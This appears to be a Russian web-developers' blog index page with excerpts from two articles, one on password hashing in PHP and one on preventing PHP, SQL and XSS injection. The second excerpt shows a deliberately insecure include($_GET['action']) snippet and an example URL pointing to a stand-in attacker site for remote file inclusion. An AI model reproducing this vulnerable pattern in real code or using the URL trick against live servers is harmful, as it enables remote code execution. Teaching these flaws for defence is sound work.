Web Мастерская»Блог

Сообщество Web Мастеров. Тут собрано всё, чтобы написать свой первый сайт, запустить его в Интернет и поддерживать его в течении всей его работы.

Как использовать функции password_hash и password_verify в PHP

Одним из самого важного для пользователя интернета является его безопасность, нельзя допустить утечку его личных данных. Хэширование пароля - это один из пунктов безопасности для пользователя, чем строка хэша будет сложнее, тем труднее будет получить из нее пароль.

Когда то для хеширования пароля достаточно было функции "md5", но сегодня этого мало: https://secure.php.n ... swords.fasthash:
Почему популярные хеширующие функции, такие как md5() и sha1() не подходят для паролей?
Такие хеширующие алгоритмы как MD5, SHA1 и SHA256 были спроектированы очень быстрыми и эффективными. При наличии современных технологий и оборудования, стало довольно просто выяснить результат этих алгоритмов методом "грубой силы" для определения оригинальных вводимых данных.

Из-за той скорости, с которой современные компьютеры могут "обратить" эти хеширующие алгоритмы, многие профессионалы компьютерной безопасности строго не рекомендуют использовать их для хеширования паролей.

PHP.NET рекомендует для...

Как предотвратить PHP, SQL и XSS инъекции (Безопасность)

Я конечно не супер-профессионал по безопасности, но некоторые познания в области безопасности php скриптов есть. Итак, часто встречающиеся дыры в php скриптах:
- PHP инъекция.
- SQL инъекция.
- XSS.
Вот про борьбу с этими уязвимостями и пойдёт речь. Статей по безопасности конечно уйма, но всё же, внесу и свою лепту.

Что же это такое PHP-инъекция?
PHP-инъекция - способ взлома сайта путём выполнения на сайте стороннего PHP кода. Например, вы хотите подключить необходимый файл, в зависимости от параметра, пришедшего из GET:
# Получаем имя файла
$action = isset($_GET['action']) ? $_GET['action'] : null; 

# Тут какие-то действия
# ...

# Подключаем файл
include($action);

Если ввести такой URL: http://ваш_сайт/ваш_файл.php?action=http://сайт_взломщика/файл то, если в файле php.ini на вашем сервере включена директива allow_url_include, злоумышленник может внести код, который хочет выполнить на вашем сайте, в тот файл, на который он указал ссылку и код успешно выполнится на вашем сайте....